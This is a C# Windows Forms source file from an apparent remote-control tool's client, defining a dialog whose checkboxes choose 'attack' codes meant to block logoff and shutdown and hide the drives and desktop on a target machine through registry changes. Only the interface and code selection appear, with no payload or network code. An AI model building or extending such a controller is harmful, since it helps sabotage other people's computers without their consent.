📄 form2.cs
字号:
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
namespace client
{
//Form2 的说明.
public class Form2 : System.Windows.Forms.Form
{
//修改注册表的控制信息变量.
public string AttackSingal;
//"选项"组件集.
private System.Windows.Forms.GroupBox groupBox1;
//4个CheckBox控件,包括停止注销,禁止关机,隐藏硬盘,隐藏桌面.
private System.Windows.Forms.CheckBox checkBox1;
private System.Windows.Forms.CheckBox checkBox2;
private System.Windows.Forms.CheckBox checkBox3;
private System.Windows.Forms.CheckBox checkBox4;
//2个Button控件,确定与关闭.
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;
public Form2()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows Form Designer generated code
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.checkBox4 = new System.Windows.Forms.CheckBox();
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.groupBox1.SuspendLayout();
this.SuspendLayout();
//
// checkBox1
//
this.checkBox1.Location = new System.Drawing.Point(40, 24);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(104, 24);
this.checkBox1.TabIndex = 0;
this.checkBox1.Text = "停止注销";
//
// checkBox2
//
this.checkBox2.Location = new System.Drawing.Point(40, 48);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(104, 24);
this.checkBox2.TabIndex = 1;
this.checkBox2.Text = "禁止关机";
//
// checkBox3
//
this.checkBox3.Location = new System.Drawing.Point(40, 72);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(104, 24);
this.checkBox3.TabIndex = 2;
this.checkBox3.Text = "隐藏硬盘";
//
// checkBox4
//
this.checkBox4.Location = new System.Drawing.Point(40, 96);
this.checkBox4.Name = "checkBox4";
this.checkBox4.Size = new System.Drawing.Size(128, 24);
this.checkBox4.TabIndex = 3;
this.checkBox4.Text = "隐藏桌面";
//
// groupBox1
//
this.groupBox1.Controls.Add(this.checkBox1);
this.groupBox1.Controls.Add(this.checkBox2);
this.groupBox1.Controls.Add(this.checkBox3);
this.groupBox1.Controls.Add(this.checkBox4);
this.groupBox1.Location = new System.Drawing.Point(32, 8);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(200, 128);
this.groupBox1.TabIndex = 4;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "选项";
//
// button1
//
this.button1.Location = new System.Drawing.Point(32, 152);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 5;
this.button1.Text = "确定";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(144, 152);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 6;
this.button2.Text = "关闭";
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// Form2
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(264, 189);
this.Controls.Add(this.button2);
this.Controls.Add(this.button1);
this.Controls.Add(this.groupBox1);
this.Name = "Form2";
this.Text = "修改选项";
this.Load += new System.EventHandler(this.Form2_Load);
this.groupBox1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
private void button1_Click(object sender, System.EventArgs e)
{
if (checkBox1.Checked)
{
AttackSingal = "as1000";
}
if (checkBox2.Checked)
{
AttackSingal = "as0100";
}
if (checkBox3.Checked)
{
AttackSingal = "as0010";
}
if (checkBox4.Checked)
{
AttackSingal = "as0001";
}
if (checkBox1.Checked && checkBox2.Checked)
{
AttackSingal = "as1100";
}
if (checkBox1.Checked && checkBox3.Checked)
{
AttackSingal = "as1010";
}
if (checkBox1.Checked && checkBox4.Checked)
{
AttackSingal = "as1001";
}
if (checkBox2.Checked && checkBox3.Checked)
{
AttackSingal = "as0110";
}
if (checkBox2.Checked && checkBox4.Checked)
{
AttackSingal = "as0101";
}
if (checkBox3.Checked && checkBox4.Checked)
{
AttackSingal = "as0011";
}
if (checkBox1.Checked && checkBox2.Checked && checkBox3.Checked)
{
AttackSingal = "as1110";
}
if (checkBox1.Checked && checkBox2.Checked && checkBox4.Checked)
{
AttackSingal = "as1101";
}
if (checkBox1.Checked && checkBox4.Checked && checkBox3.Checked)
{
AttackSingal = "as1011";
}
if (checkBox2.Checked && checkBox3.Checked && checkBox4.Checked)
{
AttackSingal = "as0111";
}
if (checkBox1.Checked && checkBox2.Checked && checkBox3.Checked && checkBox4.Checked)
{
AttackSingal = "as1111";
}
Close();
}
//关闭该窗口.
private void button2_Click(object sender, System.EventArgs e)
{
Close();
}
private void Form2_Load(object sender, EventArgs e)
{
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -